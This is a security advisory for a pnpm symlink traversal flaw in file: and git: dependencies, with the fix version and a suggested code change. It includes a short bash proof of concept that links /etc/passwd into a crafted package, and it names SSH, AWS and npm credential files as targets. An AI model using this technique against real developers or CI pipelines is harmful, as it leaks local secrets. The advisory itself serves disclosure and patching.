GHSA-m733-5w8f-5ggw
pnpm has symlink traversal in file:/git dependencies
Quick fix
GHSA-m733-5w8f-5ggw — pnpm: upgrade to the fixed version with the command below.
npm install pnpm@10.28.2Details
### Summary When pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data.
**Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
### Details The vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default:
```typescript const absolutePath = path.join(dirname, relativePath) const stat = fs.statSync(absolutePath) // Follows symlinks! const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET ```
There is no check that `absolutePath` resolves to a location inside the package directory.
### PoC ```bash # Create malicious package mkdir -p /tmp/evil && cd /tmp/evil ln -s /etc/passwd leaked-passwd.txt echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
# Victim installs mkdir /tmp/victim && cd /tmp/victim pnpm init && pnpm add file:../evil
# Leaked! cat node_modules/evil/leaked-passwd.txt ```
### Impact - Developers installing local/file dependencies - CI/CD pipelines installing git dependencies - Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`
### Suggested Fix Use `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`.
Are you affected?
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Affected packages
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-24056[ADVISORY]
- https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f[WEB]
- https://github.com/pnpm/pnpm[PACKAGE]
- https://github.com/pnpm/pnpm/releases/tag/v10.28.2[WEB]